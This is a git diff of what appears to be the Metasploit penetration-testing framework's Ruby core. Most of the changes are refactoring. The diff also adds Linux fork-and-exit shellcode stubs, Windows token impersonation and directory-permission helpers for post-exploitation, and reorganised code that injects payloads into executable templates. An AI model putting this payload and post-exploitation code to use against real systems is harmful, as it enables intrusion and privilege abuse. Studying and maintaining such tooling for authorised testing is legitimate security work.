@ -336,9 +336,9 @@ class Payload < Msf::Module
|
||||||
# Check to see if the value is a hex string. If so, convert
|
# Check to see if the value is a hex string. If so, convert
|
||||||
# it.
|
# it.
|
||||||
if val.kind_of?(String)
|
if val.kind_of?(String)
|
||||||
if val =~ /^\\x/
|
if val =~ /^\\x/n
|
||||||
val = [ val.gsub(/\\x/, '') ].pack("H*").unpack(pack)[0]
|
val = [ val.gsub(/\\x/n, '') ].pack("H*").unpack(pack)[0]
|
||||||
elsif val =~ /^0x/
|
elsif val =~ /^0x/n
|
||||||
val = val.hex
|
val = val.hex
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -19,6 +19,13 @@ module Msf::Payload::Linux
|
||||||
|
|
||||||
register_advanced_options(
|
register_advanced_options(
|
||||||
[
|
[
|
||||||
|
Msf::OptBool.new('PrependFork',
|
||||||
|
[
|
||||||
|
false,
|
||||||
|
"Prepend a stub that executes: if (fork()) { exit(0); }",
|
||||||
|
"false"
|
||||||
|
]
|
||||||
|
),
|
||||||
Msf::OptBool.new('PrependSetresuid',
|
Msf::OptBool.new('PrependSetresuid',
|
||||||
[
|
[
|
||||||
false,
|
false,
|
||||||
|
@ -97,6 +104,17 @@ module Msf::Payload::Linux
|
||||||
|
|
||||||
# Prepend
|
# Prepend
|
||||||
|
|
||||||
|
if (datastore['PrependFork'])
|
||||||
|
pre << "\x6a\x02" +# pushb $0x2 #
|
||||||
|
"\x58" +# popl %eax #
|
||||||
|
"\xcd\x80" +# int $0x80 ; fork #
|
||||||
|
"\x85\xc0" +# test %eax,%eax #
|
||||||
|
"\x74\x06" +# jz 0xf #
|
||||||
|
"\x31\xc0" +# xor %eax,%eax #
|
||||||
|
"\xb0\x01" +# movb $0x1,%al ; exit #
|
||||||
|
"\xcd\x80" # int $0x80 #
|
||||||
|
end
|
||||||
|
|
||||||
if (datastore['PrependSetresuid'])
|
if (datastore['PrependSetresuid'])
|
||||||
# setresuid(0, 0, 0)
|
# setresuid(0, 0, 0)
|
||||||
pre << "\x31\xc9" +# xorl %ecx,%ecx #
|
pre << "\x31\xc9" +# xorl %ecx,%ecx #
|
||||||
|
@ -197,10 +215,8 @@ module Msf::Payload::Linux
|
||||||
"\xcd\x80" # int $0x80 #
|
"\xcd\x80" # int $0x80 #
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
# Handle all Power/CBEA code here
|
# Handle all Power/CBEA code here
|
||||||
if (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ]))
|
elsif (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ]))
|
||||||
|
|
||||||
# Prepend
|
# Prepend
|
||||||
|
|
||||||
|
@ -277,9 +293,21 @@ module Msf::Payload::Linux
|
||||||
"\x38\x1f\xfe\x02" +# addi r0,r31,-510 #
|
"\x38\x1f\xfe\x02" +# addi r0,r31,-510 #
|
||||||
"\x44\xff\xff\x02" # sc #
|
"\x44\xff\xff\x02" # sc #
|
||||||
end
|
end
|
||||||
end
|
|
||||||
|
|
||||||
if (test_arch.include?(ARCH_X86_64))
|
elsif (test_arch.include?(ARCH_X86_64))
|
||||||
|
|
||||||
|
if (datastore['PrependFork'])
|
||||||
|
# if (fork()) { exit(0); }
|
||||||
|
pre << "\x6a\x39" # push 57 ; __NR_fork #
|
||||||
|
pre << "\x58" # pop rax #
|
||||||
|
pre << "\x0f\x05" # syscall #
|
||||||
|
pre << "\x48\x85\xc0" # test rax,rax #
|
||||||
|
pre << "\x74\x08" # jz 0x08 #
|
||||||
|
pre << "\x48\x31\xff" # xor rdi,rdi #
|
||||||
|
pre << "\x6a\x3c" # push 60 ; __NR_exit #
|
||||||
|
pre << "\x58" # pop rax #
|
||||||
|
pre << "\x0f\x05" # syscall #
|
||||||
|
end
|
||||||
|
|
||||||
if (datastore['PrependSetresuid'])
|
if (datastore['PrependSetresuid'])
|
||||||
# setresuid(0, 0, 0)
|
# setresuid(0, 0, 0)
|
||||||
|
@ -389,8 +417,8 @@ module Msf::Payload::Linux
|
||||||
# Append exit(0)
|
# Append exit(0)
|
||||||
if (datastore['AppendExit'])
|
if (datastore['AppendExit'])
|
||||||
app << "\x48\x31\xff" # xor rdi,rdi #
|
app << "\x48\x31\xff" # xor rdi,rdi #
|
||||||
pre << "\x6a\x3c" # push 0x53 #
|
app << "\x6a\x3c" # push 0x3c #
|
||||||
pre << "\x58" # pop rax #
|
app << "\x58" # pop rax #
|
||||||
app << "\x0f\x05" # syscall #
|
app << "\x0f\x05" # syscall #
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -14,7 +14,6 @@ module Payload::Osx::BundleInject
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Mac OS X Inject Mach-O Bundle',
|
'Name' => 'Mac OS X Inject Mach-O Bundle',
|
||||||
'Version' => '$Revision$',
|
|
||||||
'Description' => 'Inject a custom Mach-O bundle into the exploited process',
|
'Description' => 'Inject a custom Mach-O bundle into the exploited process',
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
|
|
|
@ -12,9 +12,21 @@ require 'msf/core'
|
||||||
module Msf::Payload::Windows
|
module Msf::Payload::Windows
|
||||||
|
|
||||||
require 'msf/core/payload/windows/prepend_migrate'
|
require 'msf/core/payload/windows/prepend_migrate'
|
||||||
|
|
||||||
# Provides the #prepends method
|
# Provides the #prepends method
|
||||||
|
# XXX: For some unfathomable reason, the order of requires here is
|
||||||
|
# important. If this include happens after require'ing the files
|
||||||
|
# below, it causes the windows/exec payload (and probably others) to
|
||||||
|
# somehow not have PrependMigrate despite having Payload::Windows,
|
||||||
|
# which leads to a NoMethodError on #prepends
|
||||||
include Msf::Payload::Windows::PrependMigrate
|
include Msf::Payload::Windows::PrependMigrate
|
||||||
|
|
||||||
|
require 'msf/core/payload/windows/dllinject'
|
||||||
|
require 'msf/core/payload/windows/exec'
|
||||||
|
require 'msf/core/payload/windows/loadlibrary'
|
||||||
|
require 'msf/core/payload/windows/reflectivedllinject'
|
||||||
|
require 'msf/core/payload/windows/x64/reflectivedllinject'
|
||||||
|
|
||||||
#
|
#
|
||||||
# ROR hash associations for some of the exit technique routines.
|
# ROR hash associations for some of the exit technique routines.
|
||||||
#
|
#
|
||||||
|
|
|
@ -16,7 +16,6 @@ module Payload::Windows::DllInject
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Windows Inject DLL',
|
'Name' => 'Windows Inject DLL',
|
||||||
'Version' => '$Revision$',
|
|
||||||
'Description' => 'Inject a custom DLL into the exploited process',
|
'Description' => 'Inject a custom DLL into the exploited process',
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
|
|
|
@ -16,7 +16,6 @@ module Payload::Windows::Exec
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Windows Execute Command',
|
'Name' => 'Windows Execute Command',
|
||||||
'Version' => '$Revision$',
|
|
||||||
'Description' => 'Execute an arbitrary command',
|
'Description' => 'Execute an arbitrary command',
|
||||||
'Author' => [ 'vlad902', 'sf' ],
|
'Author' => [ 'vlad902', 'sf' ],
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
|
|
|
@ -16,7 +16,6 @@ module Payload::Windows::LoadLibrary
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Windows LoadLibrary Path',
|
'Name' => 'Windows LoadLibrary Path',
|
||||||
'Version' => '$Revision$',
|
|
||||||
'Description' => 'Load an arbitrary library path',
|
'Description' => 'Load an arbitrary library path',
|
||||||
'Author' => [ 'sf', 'hdm' ],
|
'Author' => [ 'sf', 'hdm' ],
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
|
|
|
@ -20,7 +20,6 @@ module Payload::Windows::ReflectiveDllInject
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Reflective DLL Injection',
|
'Name' => 'Reflective DLL Injection',
|
||||||
'Version' => '$Revision$',
|
|
||||||
'Description' => 'Inject a DLL via a reflective loader',
|
'Description' => 'Inject a DLL via a reflective loader',
|
||||||
'Author' => [ 'sf' ],
|
'Author' => [ 'sf' ],
|
||||||
'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] ],
|
'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] ],
|
||||||
|
|
|
@ -20,7 +20,6 @@ module Payload::Windows::ReflectiveDllInject_x64
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Reflective DLL Injection',
|
'Name' => 'Reflective DLL Injection',
|
||||||
'Version' => '$Revision$',
|
|
||||||
'Description' => 'Inject a DLL via a reflective loader',
|
'Description' => 'Inject a DLL via a reflective loader',
|
||||||
'Author' => [ 'sf' ],
|
'Author' => [ 'sf' ],
|
||||||
'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] ],
|
'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] ],
|
||||||
|
|
|
@ -1,24 +1,31 @@
|
||||||
# -*- coding: binary -*-
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
require 'msf/core/post_mixin'
|
|
||||||
|
|
||||||
module Msf
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# A Post-exploitation module
|
# A Post-exploitation module
|
||||||
#
|
#
|
||||||
#
|
class Msf::Post < Msf::Module
|
||||||
class Post < Msf::Module
|
|
||||||
include PostMixin
|
require 'msf/core/post/common'
|
||||||
|
require 'msf/core/post_mixin'
|
||||||
|
|
||||||
|
require 'msf/core/post/file'
|
||||||
|
|
||||||
|
require 'msf/core/post/linux'
|
||||||
|
require 'msf/core/post/osx'
|
||||||
|
require 'msf/core/post/solaris'
|
||||||
|
require 'msf/core/post/unix'
|
||||||
|
require 'msf/core/post/windows'
|
||||||
|
|
||||||
|
include Msf::PostMixin
|
||||||
|
|
||||||
def setup; end
|
def setup; end
|
||||||
|
|
||||||
def type
|
def type
|
||||||
MODULE_POST
|
Msf::MODULE_POST
|
||||||
end
|
end
|
||||||
|
|
||||||
def self.type
|
def self.type
|
||||||
MODULE_POST
|
Msf::MODULE_POST
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -39,6 +46,3 @@ class Post < Msf::Module
|
||||||
mod
|
mod
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
|
@ -1,12 +1,6 @@
|
||||||
# -*- coding: binary -*-
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
require 'msf/core/post/file'
|
module Msf::Post::Common
|
||||||
|
|
||||||
module Msf
|
|
||||||
class Post
|
|
||||||
|
|
||||||
module Common
|
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Checks if the remote system has a process with ID +pid+
|
# Checks if the remote system has a process with ID +pid+
|
||||||
|
@ -121,5 +115,3 @@ module Common
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
|
@ -0,0 +1,4 @@
|
||||||
|
module Msf::Post::Linux
|
||||||
|
require 'msf/core/post/linux/priv'
|
||||||
|
require 'msf/core/post/linux/system'
|
||||||
|
end
|
|
@ -0,0 +1,5 @@
|
||||||
|
|
||||||
|
module Msf::Post::OSX
|
||||||
|
require 'msf/core/post/osx/system'
|
||||||
|
require 'msf/core/post/osx/ruby_dl'
|
||||||
|
end
|
|
@ -1,11 +1,6 @@
|
||||||
# -*- coding: binary -*-
|
# -*- coding: binary -*-
|
||||||
require 'msf/core/post/common'
|
|
||||||
require 'msf/core/post/file'
|
|
||||||
|
|
||||||
module Msf
|
module Msf::Post::OSX::System
|
||||||
class Post
|
|
||||||
module OSX
|
|
||||||
module System
|
|
||||||
include ::Msf::Post::Common
|
include ::Msf::Post::Common
|
||||||
include ::Msf::Post::File
|
include ::Msf::Post::File
|
||||||
|
|
||||||
|
@ -108,7 +103,4 @@ module System
|
||||||
end
|
end
|
||||||
return groups
|
return groups
|
||||||
end
|
end
|
||||||
end # System
|
end
|
||||||
end # OSX
|
|
||||||
end # Post
|
|
||||||
end # Msf
|
|
||||||
|
|
|
@ -0,0 +1,4 @@
|
||||||
|
module Msf::Post::Solaris
|
||||||
|
require 'msf/core/post/solaris/priv'
|
||||||
|
require 'msf/core/post/solaris/system'
|
||||||
|
end
|
|
@ -1,8 +1,6 @@
|
||||||
# -*- coding: binary -*-
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
module Msf
|
module Msf::Post::Unix
|
||||||
class Post
|
|
||||||
module Unix
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Returns an array of hashes each representing a user
|
# Returns an array of hashes each representing a user
|
||||||
|
@ -83,6 +81,3 @@ module Unix
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,15 @@
|
||||||
|
|
||||||
|
module Msf::Post::Windows
|
||||||
|
require 'msf/core/post/windows/accounts'
|
||||||
|
require 'msf/core/post/windows/cli_parse'
|
||||||
|
require 'msf/core/post/windows/eventlog'
|
||||||
|
require 'msf/core/post/windows/file_info'
|
||||||
|
require 'msf/core/post/windows/powershell'
|
||||||
|
require 'msf/core/post/windows/priv'
|
||||||
|
require 'msf/core/post/windows/process'
|
||||||
|
require 'msf/core/post/windows/railgun'
|
||||||
|
require 'msf/core/post/windows/registry'
|
||||||
|
require 'msf/core/post/windows/services'
|
||||||
|
require 'msf/core/post/windows/shadowcopy'
|
||||||
|
require 'msf/core/post/windows/user_profiles'
|
||||||
|
end
|
|
@ -177,6 +177,71 @@ module Accounts
|
||||||
:integrity_label
|
:integrity_label
|
||||||
][enum_value - 1]
|
][enum_value - 1]
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Gets an impersonation token from the primary token.
|
||||||
|
#
|
||||||
|
# @return [Fixnum] the impersonate token handle identifier if success, nil if
|
||||||
|
# fails
|
||||||
|
def get_imperstoken
|
||||||
|
adv = session.railgun.advapi32
|
||||||
|
tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | "
|
||||||
|
tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS"
|
||||||
|
tok_all << " | TOKEN_ADJUST_DEFAULT"
|
||||||
|
|
||||||
|
pid = session.sys.process.open.pid
|
||||||
|
pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
||||||
|
pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token
|
||||||
|
it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token
|
||||||
|
if it["return"] #if it fails return 0 for error handling
|
||||||
|
return it["DuplicateTokenHandle"]
|
||||||
|
else
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Gets the permissions granted from the Security Descriptor of a directory
|
||||||
|
# to an access token.
|
||||||
|
#
|
||||||
|
# @param [String] dir the directory path
|
||||||
|
# @param [Fixnum] token the access token
|
||||||
|
# @return [String, nil] a String describing the permissions or nil
|
||||||
|
def check_dir_perms(dir, token)
|
||||||
|
adv = session.railgun.advapi32
|
||||||
|
si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION"
|
||||||
|
result = ""
|
||||||
|
|
||||||
|
#define generic mapping structure
|
||||||
|
gen_map = [0,0,0,0]
|
||||||
|
gen_map = gen_map.pack("L")
|
||||||
|
buffer_size = 500
|
||||||
|
|
||||||
|
#get Security Descriptor for the directory
|
||||||
|
f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4)
|
||||||
|
if (f['return'] and f["lpnLengthNeeded"] <= buffer_size)
|
||||||
|
sd = f["pSecurityDescriptor"]
|
||||||
|
elsif (f['GetLastError'] == 122) # ERROR_INSUFFICIENT_BUFFER
|
||||||
|
f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
|
||||||
|
elsif (f['GetLastError'] == 2)
|
||||||
|
vprint_error("The system cannot find the file specified: #{dir}")
|
||||||
|
return nil
|
||||||
|
else
|
||||||
|
vprint_error("Unknown error - GetLastError #{f['GetLastError']}: #{dir}")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
#check for write access, called once to get buffer size
|
||||||
|
a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8)
|
||||||
|
len = a["PrivilegeSetLength"]
|
||||||
|
|
||||||
|
r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
|
||||||
|
if !r["return"] then return nil end
|
||||||
|
if r["GrantedAccess"] > 0 then result << "R" end
|
||||||
|
|
||||||
|
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
|
||||||
|
if !w["return"] then return nil end
|
||||||
|
if w["GrantedAccess"] > 0 then result << "W" end
|
||||||
|
end
|
||||||
|
|
||||||
end # Accounts
|
end # Accounts
|
||||||
end # Windows
|
end # Windows
|
||||||
end # Post
|
end # Post
|
||||||
|
|
|
@ -2,12 +2,7 @@
|
||||||
|
|
||||||
require 'msf/core/post/windows/accounts'
|
require 'msf/core/post/windows/accounts'
|
||||||
|
|
||||||
module Msf
|
module Msf::Post::Windows::Priv
|
||||||
class Post
|
|
||||||
module Windows
|
|
||||||
|
|
||||||
module Priv
|
|
||||||
|
|
||||||
include ::Msf::Post::Windows::Accounts
|
include ::Msf::Post::Windows::Accounts
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -90,7 +85,3 @@ module Priv
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
|
@ -2,22 +2,21 @@
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'msf/core/module'
|
require 'msf/core/module'
|
||||||
|
|
||||||
module Msf
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# A mixin used for providing Modules with post-exploitation options and helper methods
|
# A mixin used for providing Modules with post-exploitation options and helper methods
|
||||||
#
|
#
|
||||||
module PostMixin
|
module Msf::PostMixin
|
||||||
|
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
|
|
||||||
include Msf::Module::HasActions
|
include Msf::Module::HasActions
|
||||||
|
include Msf::Post::Common
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super
|
super
|
||||||
|
|
||||||
register_options( [
|
register_options( [
|
||||||
OptInt.new('SESSION', [ true, "The session to run this module on." ])
|
Msf::OptInt.new('SESSION', [ true, "The session to run this module on." ])
|
||||||
] , Msf::Post)
|
] , Msf::Post)
|
||||||
|
|
||||||
# Default stance is active
|
# Default stance is active
|
||||||
|
@ -217,5 +216,3 @@ protected
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
|
||||||
|
|
|
@ -1112,8 +1112,8 @@ class Db
|
||||||
else
|
else
|
||||||
# Anything that wasn't an option is a host to search for
|
# Anything that wasn't an option is a host to search for
|
||||||
unless (arg_host_range(arg, host_ranges))
|
unless (arg_host_range(arg, host_ranges))
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -1546,7 +1546,8 @@ class Db
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
file = args[1] || ::File.join(Msf::Config.get_config_root, "database.yml")
|
file = args[1] || ::File.join(Msf::Config.get_config_root, "database.yml")
|
||||||
if (::File.exists? ::File.expand_path(file))
|
file = ::File.expand_path(file)
|
||||||
|
if (::File.exists? file)
|
||||||
db = YAML.load(::File.read(file))['production']
|
db = YAML.load(::File.read(file))['production']
|
||||||
framework.db.connect(db)
|
framework.db.connect(db)
|
||||||
|
|
||||||
|
@ -1744,23 +1745,31 @@ class Db
|
||||||
# Miscellaneous option helpers
|
# Miscellaneous option helpers
|
||||||
#
|
#
|
||||||
|
|
||||||
|
# Parse +arg+ into a {RangeWalker} and append the result into +host_ranges+
|
||||||
#
|
#
|
||||||
# Parse +arg+ into a RangeWalker and append the result into +host_ranges+
|
# @note This modifies +host_ranges+ in place
|
||||||
#
|
|
||||||
# Returns true if parsing was successful or nil otherwise.
|
|
||||||
#
|
|
||||||
# NOTE: This modifies +host_ranges+
|
|
||||||
#
|
#
|
||||||
|
# @param arg [String] The thing to turn into a RangeWalker
|
||||||
|
# @param host_ranges [Array] The array of ranges to append
|
||||||
|
# @param required [Boolean] Whether an empty +arg+ should be an error
|
||||||
|
# @return [Boolean] true if parsing was successful or false otherwise
|
||||||
def arg_host_range(arg, host_ranges, required=false)
|
def arg_host_range(arg, host_ranges, required=false)
|
||||||
if (!arg and required)
|
if (!arg and required)
|
||||||
print_error("Missing required host argument")
|
print_error("Missing required host argument")
|
||||||
return
|
return false
|
||||||
end
|
end
|
||||||
begin
|
begin
|
||||||
host_ranges << Rex::Socket::RangeWalker.new(arg)
|
rw = Rex::Socket::RangeWalker.new(arg)
|
||||||
rescue
|
rescue
|
||||||
print_error("Invalid host parameter, #{arg}.")
|
print_error("Invalid host parameter, #{arg}.")
|
||||||
return
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
if rw.valid?
|
||||||
|
host_ranges << rw
|
||||||
|
else
|
||||||
|
print_error("Invalid host parameter, #{arg}.")
|
||||||
|
return false
|
||||||
end
|
end
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
|
@ -16,6 +16,7 @@ require 'rex/pescan'
|
||||||
require 'rex/zip'
|
require 'rex/zip'
|
||||||
require 'metasm'
|
require 'metasm'
|
||||||
require 'digest/sha1'
|
require 'digest/sha1'
|
||||||
|
require 'msf/core/exe/segment_injector'
|
||||||
|
|
||||||
##
|
##
|
||||||
#
|
#
|
||||||
|
@ -66,6 +67,7 @@ require 'digest/sha1'
|
||||||
return template % hash_sub
|
return template % hash_sub
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
##
|
##
|
||||||
#
|
#
|
||||||
# Executable generators
|
# Executable generators
|
||||||
|
@ -185,80 +187,12 @@ require 'digest/sha1'
|
||||||
|
|
||||||
#try to inject code into executable by adding a section without affecting executable behavior
|
#try to inject code into executable by adding a section without affecting executable behavior
|
||||||
if(opts[:inject])
|
if(opts[:inject])
|
||||||
if endjunk
|
injector = Msf::Exe::SegmentInjector.new({
|
||||||
raise RuntimeError, "Junk at end of file. Is this a packed exe?"
|
:payload => code,
|
||||||
end
|
:template => opts[:template],
|
||||||
|
:arch => :x86
|
||||||
#find first section file offset and free RVA for new section
|
})
|
||||||
free_rva = pe.hdr.opt.AddressOfEntryPoint
|
exe = injector.generate_pe
|
||||||
first_off = sections_end
|
|
||||||
pe.sections.each do |sec|
|
|
||||||
first_off = sec.file_offset if sec.file_offset < first_off
|
|
||||||
free_rva = sec.raw_size + sec.vma if sec.raw_size + sec.vma > free_rva
|
|
||||||
end
|
|
||||||
#align free_rva
|
|
||||||
free_rva += (pe.hdr.opt.SectionAlignment-(free_rva % pe.hdr.opt.SectionAlignment)) % pe.hdr.opt.SectionAlignment
|
|
||||||
|
|
||||||
#See if we can add a section
|
|
||||||
first_sechead_file_off = pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + pe.hdr.file.SizeOfOptionalHeader
|
|
||||||
new_sechead_file_off = first_sechead_file_off + pe.hdr.file.NumberOfSections * Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER
|
|
||||||
if new_sechead_file_off + Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER > first_off
|
|
||||||
raise RuntimeError, "Not enough room for new section header"
|
|
||||||
end
|
|
||||||
|
|
||||||
# figure out where in the new section to put the start. Right now just putting at the beginning of the new section
|
|
||||||
start_rva = free_rva
|
|
||||||
|
|
||||||
#make new section, starting at free RVA
|
|
||||||
new_sec = win32_rwx_exec_thread(code, pe.hdr.opt.AddressOfEntryPoint - start_rva)
|
|
||||||
#pad to file alignment
|
|
||||||
new_sec += "\x00" * (pe.hdr.opt.SectionAlignment-(new_sec.length % pe.hdr.opt.SectionAlignment))
|
|
||||||
|
|
||||||
#make new section header
|
|
||||||
new_sechead = Rex::PeParsey::PeBase::IMAGE_SECTION_HEADER.make_struct
|
|
||||||
new_sechead.v['Name'] = Rex::Text.rand_text_alpha(4)+"\x00"*4 # no name
|
|
||||||
new_sechead.v['Characteristics'] = 0x60000020 # READ, EXECUTE, CODE
|
|
||||||
new_sechead.v['VirtualAddress'] = free_rva
|
|
||||||
new_sechead.v['SizeOfRawData'] = new_sec.length
|
|
||||||
new_sechead.v['PointerToRawData'] = sections_end
|
|
||||||
|
|
||||||
# Create the modified version of the input executable
|
|
||||||
exe = ''
|
|
||||||
File.open(opts[:template], 'rb') { |fd|
|
|
||||||
exe = fd.read(fd.stat.size)
|
|
||||||
}
|
|
||||||
|
|
||||||
#New file header with updated number of sections and timedatestamp
|
|
||||||
new_filehead = Rex::PeParsey::PeBase::IMAGE_FILE_HEADER.make_struct
|
|
||||||
new_filehead.from_s(exe[pe.hdr.dos.e_lfanew, Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE])
|
|
||||||
new_filehead.v['NumberOfSections'] = pe.hdr.file.NumberOfSections + 1
|
|
||||||
new_filehead.v['TimeDateStamp'] = pe.hdr.file.TimeDateStamp - rand(0x1000000)
|
|
||||||
exe[pe.hdr.dos.e_lfanew, new_filehead.to_s.length] = new_filehead.to_s
|
|
||||||
|
|
||||||
#new optional header with new entry point, size of image, and size of code
|
|
||||||
new_opthead = Rex::PeParsey::PeBase::IMAGE_OPTIONAL_HEADER32.make_struct
|
|
||||||
new_opthead.from_s(exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader])
|
|
||||||
new_opthead.v['AddressOfEntryPoint'] = start_rva
|
|
||||||
new_opthead.v['SizeOfImage'] = free_rva + new_sec.length
|
|
||||||
new_opthead.v['SizeOfCode'] = pe.hdr.opt.SizeOfCode + new_sec.length
|
|
||||||
exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader] = new_opthead.to_s
|
|
||||||
#kill bound import table; if it exists, we probably overwrote it with our new section and they dont even need it anyway
|
|
||||||
exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 184, 8] = "\x00"*8
|
|
||||||
#kill certificate; if it exists, we just invalidated it
|
|
||||||
exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 128, 8] = "\x00"*8
|
|
||||||
|
|
||||||
#new section header and new section
|
|
||||||
exe[new_sechead_file_off, new_sechead.to_s.length] = new_sechead.to_s
|
|
||||||
exe[new_sechead.v['PointerToRawData'], new_sec.length] = new_sec
|
|
||||||
exe.slice!((new_sechead.v['PointerToRawData'] + new_sec.length)..-1)
|
|
||||||
|
|
||||||
cks = pe.hdr.opt.CheckSum
|
|
||||||
if(cks != 0)
|
|
||||||
exe[ exe.index([ cks ].pack('V')), 4] = [0].pack("V")
|
|
||||||
end
|
|
||||||
|
|
||||||
pe.close
|
|
||||||
|
|
||||||
return exe
|
return exe
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -458,168 +392,100 @@ require 'digest/sha1'
|
||||||
return pe
|
return pe
|
||||||
end
|
end
|
||||||
|
|
||||||
def self.to_win32pe_exe_sub(framework, code, opts={})
|
def self.exe_sub_method(code,opts ={})
|
||||||
|
|
||||||
# Allow the user to specify their own DLL template
|
|
||||||
set_template_default(opts, "template_x86_windows.exe")
|
|
||||||
|
|
||||||
pe = ''
|
pe = ''
|
||||||
File.open(opts[:template], "rb") { |fd|
|
File.open(opts[:template], "rb") { |fd|
|
||||||
pe = fd.read(fd.stat.size)
|
pe = fd.read(fd.stat.size)
|
||||||
}
|
}
|
||||||
|
|
||||||
bo = pe.index('PAYLOAD:')
|
case opts[:exe_type]
|
||||||
raise RuntimeError, "Invalid Win32 PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo
|
when :service_exe
|
||||||
|
max_length = 8192
|
||||||
|
name = opts[:servicename]
|
||||||
|
|
||||||
if (code.length <= 4096)
|
if name
|
||||||
|
bo = pe.index('SERVICENAME')
|
||||||
|
raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
|
||||||
|
pe[bo, 11] = [name].pack('a11')
|
||||||
|
end
|
||||||
|
|
||||||
|
if not opts[:sub_method]
|
||||||
|
pe[136, 4] = [rand(0x100000000)].pack('V')
|
||||||
|
end
|
||||||
|
when :dll
|
||||||
|
max_length = 2048
|
||||||
|
when :exe_sub
|
||||||
|
max_length = 4096
|
||||||
|
end
|
||||||
|
|
||||||
|
